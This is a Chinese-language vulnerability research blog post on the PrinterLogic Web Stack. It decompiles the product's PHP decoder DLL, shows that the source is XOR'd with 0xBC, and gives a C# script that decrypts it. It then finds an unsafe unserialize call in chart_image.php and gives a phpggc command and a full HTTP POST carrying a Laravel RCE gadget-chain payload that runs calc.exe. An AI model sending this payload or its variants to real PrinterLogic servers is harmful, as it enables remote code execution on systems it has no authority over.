警告
本文最后更新于 2022-01-28,文中内容可能已过时。
看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。
这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。
打开php文件看到文件是加密的
找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0
,查看php.ini的配置
用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。
跟进到sub_100011D0
确认解密逻辑位于sub_10001000函数中,伪代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
| int __cdecl sub_10001000(int a1, int a2)
{
int v2; // edi@1
int result; // eax@4
int v4; // eax@8
unsigned int v5; // edx@8
int v6; // ebx@8
char v7; // cl@10
char v8; // al@10
unsigned int v9; // ebp@14
unsigned int v10; // eax@14
int v11; // ebx@14
unsigned int v12; // ecx@14
int v13; // eax@18
int v14; // edx@21
int v15; // ebx@21
int v16; // esi@21
int v17; // ecx@22
int v18; // ST04_4@24
int v19; // eax@24
int v20; // esi@24
unsigned int v21; // [sp+4h] [bp-8h]@3
int v22; // [sp+8h] [bp-4h]@14
v2 = a1;
if ( a1
&& *(_DWORD *)(a1 + 44)
&& zend_stream_fixup(a1, &a1, &v21) != -1
&& *(_DWORD *)(v2 + 52) == 4
&& *(_DWORD *)v2
&& *(_DWORD *)(v2 + 20) )
{
v4 = v21;
v5 = 0;
v6 = v21 >= 0x9F;
if ( v21 >= 0x9F )
{
do
{
if ( v5 >= 0x9F )
break;
v7 = *(&a_phpHeaderHttp[a1
- (_DWORD)"<?php\n"
"header('HTTP/1.1 500 Internal Server Error');\n"
"echo 'PrinterLogic decoder is not installed, please contact customer support for"
" assistance';\n"
"exit();\n"
"?>PL"]
+ v5);
v8 = a_phpHeaderHttp[v5];
v6 = v7 == v8;
++v5;
}
while ( v7 == v8 );
v4 = v21;
}
if ( v6 )
{
v9 = v4 - 159;
v10 = emalloc__4(v4, v5);
v11 = v10;
v12 = 0;
v22 = v10;
if ( v9 )
{
if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
{
v13 = a1;
do
{
*(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
v12 += 64;
}
while ( v12 < (v9 & 0xFFFFFFC0) );
}
if ( v12 < v9 )
{
v14 = v11 + v12;
v15 = 159 - v22;
v16 = v9 - v12;
do
{
v17 = v15 + v14++;
*(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
--v16;
}
while ( v16 );
v11 = v22;
}
}
memset((void *)(v11 + v9), 0, 0x9Fu);
v18 = a2;
a1 = *(_DWORD *)(v2 + 20);
v21 = *(_DWORD *)(v2 + 8);
*(_DWORD *)(v2 + 20) = v11;
*(_DWORD *)(v2 + 8) = v9;
v19 = dword_10003090(v2, v18);
*(_DWORD *)(v2 + 20) = a1;
v20 = v19;
*(_DWORD *)(v2 + 8) = v21;
efree__4(v11);
result = v20;
}
else
{
result = dword_10003090(v2, a2);
}
}
else
{
result = dword_10003090(v2, a2);
}
return result;
}
|
关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc
伪代码中有一个v4 - 159
刚好截取到这个地方
用0x80 ^ 0xBC
试试
1
2
3
4
| >>> 0x80 ^ 0xBC
60
>>> chr(60)
'<'
|
看起来像是php的起始标签<
,再试试第二位第三位
没错了就是仅仅异或了一个0xBC
如此写脚本解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
| using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp5
{
internal class Program
{
static List<string> fileList = new List<string>();
static string encPath = @"";
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("decode.exe encdir outdir");
return;
}
else
{
Console.WriteLine($"{args[0]} {args[1]}");
}
encPath = args[0];
ForeachForldersAndFiles(encPath);
Console.WriteLine($"处理文件总数 {fileList.Count}");
foreach (var file in fileList)
{
Decode(file, args[1]);
}
Console.WriteLine("decode done!");
}
static void ForeachForldersAndFiles(string path)
{
DirectoryInfo di = new DirectoryInfo(path);
DirectoryInfo[] arrDir = di.GetDirectories();
foreach (DirectoryInfo dir in arrDir)
{
ForeachForldersAndFiles(di + dir.ToString() + "\\");
}
foreach (FileInfo fi in di.GetFiles())
{
string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
if (content.Contains("PrinterLogic decoder is not installed"))
{
fileList.Add(fi.FullName);
Console.WriteLine($"add {fi.FullName}");
}
}
}
static void Decode(string infile, string outfile)
{
Console.WriteLine("处理 " + infile);
byte key = 0xBC;
FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
BinaryReader binaryReader = new BinaryReader(fileStream);
string outfilepath = infile.Replace(encPath, outfile);
string directoryName = new FileInfo(outfilepath).DirectoryName;
if (!Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
StreamWriter streamWriter = new StreamWriter(outfilepath);
long length = fileStream.Length;
while (length > 0)
{
byte tmpByte = binaryReader.ReadByte();
byte resByte = Convert.ToByte(tmpByte ^ key);
char res = Convert.ToChar(resByte);
streamWriter.Write(res);
length--;
}
streamWriter.Close();
Console.WriteLine("done " + infile);
}
}
}
|
解密之后再来审计
admin\design\reports\chart_image.php
文件中直接用了经典的base64反序列化
1
| $dataset = unserialize(base64_decode(requeststr("dataset")));
|
1
| ./phpggc -b -u -f Laravel/RCE2 system 'calc.exe'
|
1
2
3
4
| POST /admin/design/reports/chart_image.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE
|
- https://www.yahooinc.com/paranoids/paranoids-vulnerability-research-printerlogic-issues-security-alert/
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。